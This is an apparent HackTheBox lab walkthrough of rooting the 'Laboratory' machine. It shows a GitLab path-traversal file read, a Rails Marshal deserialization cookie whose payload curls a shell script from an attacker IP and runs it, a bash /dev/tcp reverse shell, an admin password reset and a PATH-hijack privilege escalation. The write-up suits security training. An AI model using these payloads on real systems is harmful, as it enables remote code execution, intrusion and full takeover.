Laboratory HackTheBox WalkThrough
This is Laboratory HackTheBox machine walkthrough. In this writeup, I have demonstrated step-by-step how I rooted
Laboratory HackTheBox machine. Before starting let us know something about this machine. It is
Linux OS box with IP address
10.10.10.216 and difficulty
easy assigned by its maker. Although it is assigned easy difficulty but in reality it is a
medium level box.
First of all connect your PC with
HackTheBox VPN and make sure your connectivity with Laboratory machine by pinging its IP 10.10.10.216. If all goes correct then start hacking. As usual, I started by scanning the machine. Scanning gives us an idea how we have to proceed further. Like, it helps in
banner grabbing the services running over different ports and sometimes it helps in vulnerability assessment also. I have used
nmap for this task and the result is given below:-
$ nmap -sC -sV -oN laboratory.nmap 10.10.10.216
$ cat laboratory.nmap
Nmap found port
443 as open.
OpenSSH on port 22,
Apache2 web server on port 80 and
apache2 over SSL on port 443 are running. Enumeration on port 22 is useless until we get some login credentials. Also
OpenSSH 8.2p1 version is not vulnerable to any major exploit that will give us shell so moved forward for enumeration on port 80 and 443.
Since apache2 is running on port 80 and 443 so we should have some websites running over these ports and they can be accessed at URLs http://10.10.10.216 & https://10.10.10.216 respectively. Also, there are two subdomains
git.laboratory.htb listed by nmap. So before accessing these URLs let us add these subdomains to our
hosts file. The hosts file is present in the directory
Hosts File After Modification
$ cat /etc/hosts
When I visited http://laboratory.htb it redirected me to https://laboratory.htb/. There is a
static website on this URL and its home page has three users namely
anonymous. These users can be helpful in our further enumeration so added them in my cherry tree notes.
Here I registered with some fake credentials and after registration got redirected to user’s dashboard. After some enumeration got a link https://git.laboratory.htb/help which reveals that the installed
Community edition is of version
Soon I get information about any application and its version then immediately I search for exploit for that version. Did the same this time too and found that
GitLab EE/CE 8.5 to
12.9 is vulnerable to a
path traversal attack when moving an issue between projects. Check this issue on GitLab.
So to exploit this vulnerability a/c to above report follow the given steps.
project2 with the given payload in the
4. Move this
5. The requested file in the Payload will be copied to the
6. Now download the requested file.
7. Follow the same step to download
secrets.yml file by creating
New project by going to URL https://git.laboratory.htb/dashboard/projects
Under Project name field fill
project1 and under Project description fill
This is Project 1. Leave remaining field as default and click on
create project button.
Follow the same above steps to create
project2 have been created now. Let us create
Creating Issue1 and Downloading Passwd File
Issues on left navigation bar or simply go to URL
https://git.laboratory.htb/test1/project2/issues. Then click on
New issue to create new issue.
Under Title field fill
Issue1 and under Description field put following payload and click on
Move issue at bottom most right corner and select
test1/project1 and finally click on
Move to move this issue to project1.
Once your issue is moved to
project1 you can see an attachment of
Issue1. Click on the attachment of the password to download it.
Now we have confirmed that we can read Operating System file by this vulnerability.
Let us download
secrets.yml file from the directory
/opt/gitlab/embedded/service/gitlab-rails/config/ using this vulnerability. We are downloading this file because it contains some secret information which is required in further exploitation.
Creating Issue2 and Downloading secrets.yml File
Issues and click on
New issue to create new issue.
This time in Title field fill
Issue2 and under Description field put the following payload
Move to move the
secrets.yml file from the attachment.
From above file we require secret_key_base code only.
According to this hackerone report we require a self-hosted GitLab to capture
Marshalled payload. For this I am going to install GitLab image in my docker as a container. If you don’t have docker installed in your Kali then use the command
$sudo apt install docker.io to install it. Then enter the following commands to install and configure GitLab in it.
$ sudo docker pull gitlab/gitlab-ee:12.8.1-ee.0
$ sudo docker run -it gitlab/gitlab-ee:12.8.1-ee.0 bash
$ /opt/gitlab/embedded/bin/runsvdir-start &
You may get error in last command just ignore it and let us reconfigure the GitLab.
While I was reconfiguring my GitLab container my Kali machine goes on crashing again and again so unfortunately I had to use
PwnBox of HackTheBox. This is the reason you can see my Container ID is different in just above and below screenshots.
# gitlab-ctl reconfigure
Once we have reconfigured our GitLab we need to change
secrets.yml file at
/opt/gitlab/embedded/service/gitlab-rails/config/. Simply replace
secret_key_base of this file with the secret_key_base which you have copied before by creating Issue2. The final code snippet will look something like below.
# nano /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
We have changed secrets.yml file let us create Marshalled Payload by putting following payloads in gitlab-rails console one by one.
request = ActionDispatch::Request.new(Rails.application.env_config) request.env["action_dispatch.cookies_serializer"] = :marshal cookies = request.cookie_jar erb = ERB.new("<%= `curl 10.10.14.3/shell.sh -o /tmp/shell.sh && chmod 777 /tmp/shell.sh && bash /tmp/shell.sh` %>") depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new) cookies.signed[:cookie] = depr puts cookies[:cookie]
Simply start gitlab-rails console by the command
$gitlab-rails console and put above payload one by one.
We have got a marshalled payload. You can assume it as a cookie. Now using this cookie we will make request to https://git.laboratory.htb/users/sign_in and this will download and run
shell.sh file from our local
Getting User Shell
So to get reverse shell follow the given steps.
1. Create shell.sh file in 1st window with the below reverse shell payload and start python3 server to host this file.
bash -i >& /dev/tcp/10.10.14.3/9001 0>&1
2. Start netcat listener in 2nd window to receive the connection.
3. Execute the following command in 3rd shell.
Don’t forget to replace
experimentation_subject_id with your Marshalled Payload which you have grabbed in above steps in the following
$curl command. If all goes correct you will get reverse connection on your netcat listener.
$curl -k 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiAZcjY29kaW5nOlVURi04Cl9lcmJvdXQgPSArJyc7IF9lcmJvdXQuPDwoKCBgY3VybCAxMC4xMC4xNC4zL3NoZWxsLnNoIC1vIC90bXAvc2hlbGwuc2ggJiYgY2htb2QgNzc3IC90bXAvc2hlbGwuc2ggJiYgYmFzaCAvdG1wL3NoZWxsLnNoYCApLnRvX3MpOyBfZXJib3V0BjoGRUY6DkBlbmNvZGluZ0l1Og1FbmNvZGluZwpVVEYtOAY7CkY6E0Bmcm96ZW5fc3RyaW5nMDoOQGZpbGVuYW1lMDoMQGxpbmVub2kAOgxAbWV0aG9kOgtyZXN1bHQ6CUB2YXJJIgxAcmVzdWx0BjsKVDoQQGRlcHJlY2F0b3JJdTofQWN0aXZlU3VwcG9ydDo6RGVwcmVjYXRpb24ABjsKVA==--11bfe275f965acf20c229ddd6e337525f22802f5"
#python3 -m http.server 80
#rlwrap nc -nvlp 9001
$ whoami && id
We have successfully got user shell. Let us upgrade the shell to fully qualified Linux shell so that we can run more advanced Linux command on it.
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
$ export TERM=xterm
When I tried to run some normal Linux command like
$ifconfig it failed by giving not found error. When I tried to check for
/home/ folder but no user is present. Then I checked the running processes using the command
$ps and found that we are actually inside
GitLab docker container.
Since we are inside the docker container of GitLab we can spawn
gitlab-rails console and check who is admin user by the command
$u = User.where(id:1).first. We can also change the password of admin user through gitlab-rails console. Check this article for more info on resetting password.
Identifying Admin User & Changing Its Password
$ gitlab-rails console
irb(main):001:0> u = User.where(id:1).first
irb(main):002:0> u.password = 'newpassword'
irb(main):003:0> u.password_confirmation = 'newpassword'
From above we found that
dexter is admin user and we have changed its password to
newpassword. Let us login with user
newpassword at https://git.laboratory.htb/users/sign_in to see what is present in its account.
After some enumeration after login into dexter’s account I found
SSH private key of dexter at URL https://git.laboratory.htb/dexter/securedocker/-/blob/master/dexter/.ssh/id_rsa. Let us download it and SSH into Laboratory machine.
$ nano id_rsa
$ chmod 400 id_rsa
$ ssh -i id_rsa [email protected]
$ whoami && id
We have successfully logged in into dexter account. Let us grab
Capture User Flag
$ cat user.txt
To escalate privilege to root we have to first find a privilege escalation vector using which we can escalate privilege. We can either use some post exploitation enumeration script for this task or manually enumerate the box for attack vectors.
Finding PrivEsc Vector
When I tried to list all
SUID binaries of the laboratory machine I found a custom SUID binary
docker-security which is not present by default in Linux Systems. This can be used to escalate privilege by
Path Hijacking or we can say Privilege escalation using
Custom SUID exploitation can be done.
$ find / -perm -4000 -type f 2>/dev/null | grep docker
$ ls -la /usr/local/bin/docker-security
When I tried to run
$docker-security it gave no result. Then I started
$pspy (a process monitoring tool) in other window and execute
$docker-security in other window to monitor the process. I found that this executable is using
$chmod command without specifying the full path
/usr/bin/chmod. We can exploit this vulnerability by
Path Hijacking. So here our PrivEsc Vector is Privilege Escalation using Path Hijacking. Check similar privilege escalation machine here.
Getting Root Shell
So to get root shell do the following.
$ cd /tmp
$ echo "/bin/sh" > chmod
$ export PATH=$(pwd):$PATH
$ chmod +x chmod
# whoami && id
We are root now let us capture root flag.
Capture Root Flag
# cat /root/root.txt
This was how I rooted to Laboratory HackTheBox machine. Learnt a lot during this walkthrough. Hope you have also learnt some new things. Thanks for reading this writeup. Share your experience in the comment section. Want to give any suggestion about the writeup feel free to write us at [email protected]. Check out my latest articles at https://ethicalhacs.com/.